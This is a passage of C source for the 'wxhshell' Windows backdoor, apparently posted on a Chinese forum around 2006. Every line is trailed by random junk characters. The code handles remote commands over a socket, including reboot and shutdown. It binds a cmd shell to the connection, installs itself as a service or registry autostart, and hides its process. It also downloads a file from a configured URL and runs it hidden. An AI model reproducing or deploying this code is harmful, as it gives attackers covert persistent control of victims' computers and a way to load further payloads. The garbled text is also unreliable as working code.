  send(wsh,msg_ws_err,strlen(msg_ws_err),0); P'D~Y#^  
  else qFV=P k  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =L$};ko  
  } <ZJ>jZV0*  
  else { N1Y*IkW"  
VwoCR q*  
    switch(cmd[0]) { (~TP  
  `5`Pv'`  
  // 帮助 [&rW+/  
  case '?': { ,z)7rU`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @T1/S&F=  
    break; i\B >J?Q\  
  } 0+O)~>v  
  // 安装 Kbc-$ oneR  
  case 'i': { YE5v~2  
    if(Install()) sHe:h XG'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o(~>a  
    else piO+K!C0n:  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ifu$p]~z$  
    break; Jug1Va<^c  
    } [^W4%S  
  // 卸载 J1"u,HF*(  
  case 'r': { "2CiW6X[M  
    if(Uninstall()) ?|+bM`  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); U<eVLfSij  
    else Y[;Pl$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); )%C482GO-  
    break; J=TbZL4y}4  
    } B4&@PX"'>,  
  // 显示 wxhshell 所在路径 r{kV*^\E  
  case 'p': { tqrvcnQr^  
    char svExeFile[MAX_PATH]; 5SX0g(C  
    strcpy(svExeFile,"\n\r"); ,u( g#T  
      strcat(svExeFile,ExeFile); N7Z&_$Bx  
        send(wsh,svExeFile,strlen(svExeFile),0); 1z~;c|  
    break; @l&5 |Cia  
    } 6.~(oepu  
  // 重启 P]+^^ U  
  case 'b': { x}1(okc  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~SJOynSz,  
    if(Boot(REBOOT)) ls,gQ]B:P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ")HTUlcAe}  
    else { sEdWBT 8  
    closesocket(wsh); Z8k O*LYv  
    ExitThread(0); QA.B.U7!  
    } < V"'j  
    break; X8bo?0  
    } ~m uVQ  
  // 关机 V:!fe+ Er  
  case 'd': { Px=/fO G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); +F 6KGK[  
    if(Boot(SHUTDOWN)) 6%ID*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); uGLVY%N  
    else { (7}v }3/  
    closesocket(wsh); Q-}oe Q  
    ExitThread(0); 8dUwJ"<5  
    } u!nt0hS  
    break; I_#)>%H  
    } UNYU2ze'  
  // 获取shell y~1UU3k5  
  case 's': { Ft`#]=IS  
    CmdShell(wsh); pWps-e  
    closesocket(wsh); e7/J:n$  
    ExitThread(0); Bi kCjP[b  
    break; b]RnCu"  
  } 9A3Q&@,  
  // 退出 J~<:yBup}  
  case 'x': { 4pq>R  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ?Dm!;Z+7  
    CloseIt(wsh); H:9( XW  
    break; )R ,*  
    } %<DRrKt  
  // 离开 Z#>k:v  
  case 'q': { f|6%71  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?ArQ{9c  
    closesocket(wsh); |=38t8Ge&  
    WSACleanup(); o|alL-  
    exit(1); v1 oSf  
    break; jK I+-s  
        } QE)g==d  
  } V%y kHo  
  } LAf!y"A#  
9S6vU7W  
  // 提示信息 r-Z'  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); o,Ha-z]f  
} q.<q(r  
  } |EU}&k2  
0<v~J9i  
  return; )zUV6U7v  
} ^n]tf9{I  
qI;k2sQR  
// shell模块句柄 "VcGr#zW  
int CmdShell(SOCKET sock) hUA3(!0)  
{ tk}qvW.Ii  
STARTUPINFO si; ,*S?L qv^  
ZeroMemory(&si,sizeof(si)); 3tIIBOwg[  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S*#y7YKI  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 30<dEoF  
PROCESS_INFORMATION ProcessInfo; "-<u.$fE  
char cmdline[]="cmd"; `r>WVPS|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b;m6m4i'f{  
  return 0; mvUYp,JECl  
} tMyD^jVC  
M_79\Gz"  
// 自身启动模式 =nid #<X  
int StartFromService(void) ~`-9i{L  
{ HSK^vd?_l  
typedef struct p2&KGt X'  
{ WJz   
  DWORD ExitStatus; fRrHWE+  
  DWORD PebBaseAddress; XJ@ /r,2  
  DWORD AffinityMask; fEQ<L!'  
  DWORD BasePriority; !0Q(x  
  ULONG UniqueProcessId; k92X)/ll'  
  ULONG InheritedFromUniqueProcessId; C(,s_Ks  
}   PROCESS_BASIC_INFORMATION; um3 M4>K  
o"n^zG  
PROCNTQSIP NtQueryInformationProcess; -Qn:6M>w^  
0^[ " &K/  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; YuPgsJ[m  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *[yCcqN.  
YT:<AJm  
  HANDLE             hProcess; qU2>V  
  PROCESS_BASIC_INFORMATION pbi; C 7+TnJ  
k9R1E/;  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'R=o,=  
  if(NULL == hInst ) return 0; &I!2gf  
:hJhEQH(9  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]E=JUYf0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?LNwr[C0  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); o Y.JK  
N(1jm F  
  if (!NtQueryInformationProcess) return 0; a-QHm;_S  
gXw\_ue<  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }#E4t3  
  if(!hProcess) return 0; u5R^++  
j/Bzbjq"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 5@Py`  
SxH}/I|W  
  CloseHandle(hProcess); ,#WXAA mm  
3 !}'A  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); !%@n067  
if(hProcess==NULL) return 0; bJBx~  
3`e1:`Hu  
HMODULE hMod; IRS^F;)  
char procName[255]; }qlz^s  
unsigned long cbNeeded; 1.>sG2*P  
YKM(qh2  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {L4^IKI  
xc*ys-Nv  
  CloseHandle(hProcess); s#qq% @  
Vq<|DM3z<  
if(strstr(procName,"services")) return 1; // 以服务启动 0q`'65 lx  
2RE }l=h5  
  return 0; // 注册表启动 BAKfs/N  
} qx!IlO  
&12aI |u^<  
// 主模块 l0@$]76cX;  
int StartWxhshell(LPSTR lpCmdLine) /5J! s="  
{ RNt3az  
  SOCKET wsl; ,2kWj7H%7  
BOOL val=TRUE; c"QH-sE  
  int port=0; *i$+i  
  struct sockaddr_in door; ;\&7smE[  
T Z>z5YTv  
  if(wscfg.ws_autoins) Install(); ZjI^0D8  
<XLATS8Y  
port=atoi(lpCmdLine); |Xu7cCh$me  
 UNhD  
if(port<=0) port=wscfg.ws_port; 9td(MZ%i~N  
<B``/EX^  
  WSADATA data; < )?&Jf>_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; J J3vC  
i&bttSRNV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   D l"y|  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); qK#* UR0%  
  door.sin_family = AF_INET; W&p-Z"=)  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); j?8E >tM  
  door.sin_port = htons(port); _@RW7iP>  
q&W#nWBV  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ]k KsGch  
closesocket(wsl); mV4} -  
return 1; Ic r'l$PE  
} QR8F'7S  
d5],O48A  
  if(listen(wsl,2) == INVALID_SOCKET) { {< wq}~  
closesocket(wsl); (PB|.`_<H  
return 1; U>I#f  
} 9B%"7MVn  
  Wxhshell(wsl); je{5iIr3/  
  WSACleanup(); #pVk%5N  
|6;.C1\,  
return 0; |mM7P^I  
y-Ol1R3:c#  
} hZJ Nh,,w  
/3c1{%B\  
// 以NT服务方式启动 <w:fR|O  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) C<7J5  
{ ! TRiFD  
DWORD   status = 0; % -SP  
  DWORD   specificError = 0xfffffff; 97&6iTYA  
|LjCtm)@+  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ca`=dwe>  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; kO9yei  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >l7 o/*4  
  serviceStatus.dwWin32ExitCode     = 0; cCj3,s/p  
  serviceStatus.dwServiceSpecificExitCode = 0; 4u&l@BUr  
  serviceStatus.dwCheckPoint       = 0; d6n6= [*  
  serviceStatus.dwWaitHint       = 0; |0bSxPXn!  
xGH%4J\  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 3NJH"amk  
  if (hServiceStatusHandle==0) return; ^wHO!$  
MR~BWH?@1  
status = GetLastError(); q6DhypB  
  if (status!=NO_ERROR) EfUo<E  
{ Aqc(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P&SR;{:y  
    serviceStatus.dwCheckPoint       = 0; Uex b>|  
    serviceStatus.dwWaitHint       = 0; r94BEC 2  
    serviceStatus.dwWin32ExitCode     = status; cN :;ir  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^KhFBed   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Fb}9cpz{  
    return; }@#e D  
  } dy0!Zz  
0b|!S/*A3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; w5|"cD#8A  
  serviceStatus.dwCheckPoint       = 0; vTP_vsdeG  
  serviceStatus.dwWaitHint       = 0; )a6i8b3  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); gGX/p6"  
} bEE:6)]G  
eQeNlCG  
// 处理NT服务事件,比如:启动、停止 kjmF-\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) !6}Cs3.  
{ -WYJ1B0v  
switch(fdwControl) V{*9fB#4L  
{ .Q#Eb %%  
case SERVICE_CONTROL_STOP: Q2 edS|  
  serviceStatus.dwWin32ExitCode = 0; -y AIrvO1q  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 1`uIjXr(  
  serviceStatus.dwCheckPoint   = 0; _Yhpj}KZ  
  serviceStatus.dwWaitHint     = 0; un\^Wmbw  
  { :I7MP   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Ch`A@=5  
  } JxWHrsh[  
  return; bH.">IV  
case SERVICE_CONTROL_PAUSE: 4EELaP|%  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; [_~U<   
  break; DUtpd|  
case SERVICE_CONTROL_CONTINUE: #}gc6T~0  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ox*Ka]  
  break; |~/{lE=I  
case SERVICE_CONTROL_INTERROGATE: p\HXE4d'  
  break; IW46-;l7  
}; .xD-eWw3R  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); jgYiuM3c\  
} *oPSkEA{  
M-Js"cB[  
// 标准应用程序主函数 +X&B'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) YnMph0\Y^  
{ F0yh7MItV  
oT_,k}LIX  
// 获取操作系统版本 [sad}@R7  
OsIsNt=GetOsVer(); IS!+J.2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); z~W@`'f  
jv7zvp  
  // 从命令行安装 Md~mI8  
  if(strpbrk(lpCmdLine,"iI")) Install(); UxW>hbzr&V  
r`krv-,O$  
  // 下载执行文件 %iGME%oXr  
if(wscfg.ws_downexe) { e 9:l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) $`Ou*  
  WinExec(wscfg.ws_filenam,SW_HIDE); {L+?n*;CA  
} }cP 3i  
x;SrJVDN  
if(!OsIsNt) { E*ic9Za8`h  
// 如果时win9x,隐藏进程并且设置为注册表启动 -{w&ya4X  
HideProc(); (u*]&yk  
StartWxhshell(lpCmdLine); WFB2Ub7  
} -py.Y Z  
else _3E7|drIX  
  if(StartFromService()) lH6t  d  
  // 以服务方式启动 $ey<8qzp  
  StartServiceCtrlDispatcher(DispatchTable); &x;nP6mV  
else |hpm|eZG"h  
  // 普通方式启动 saV3<zgx  
  StartWxhshell(lpCmdLine); s9Xeh"  
&3JbAJ|;X  
return 0; A6sBObw;  
}
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只看该作者 1 发表于: 2006-10-10
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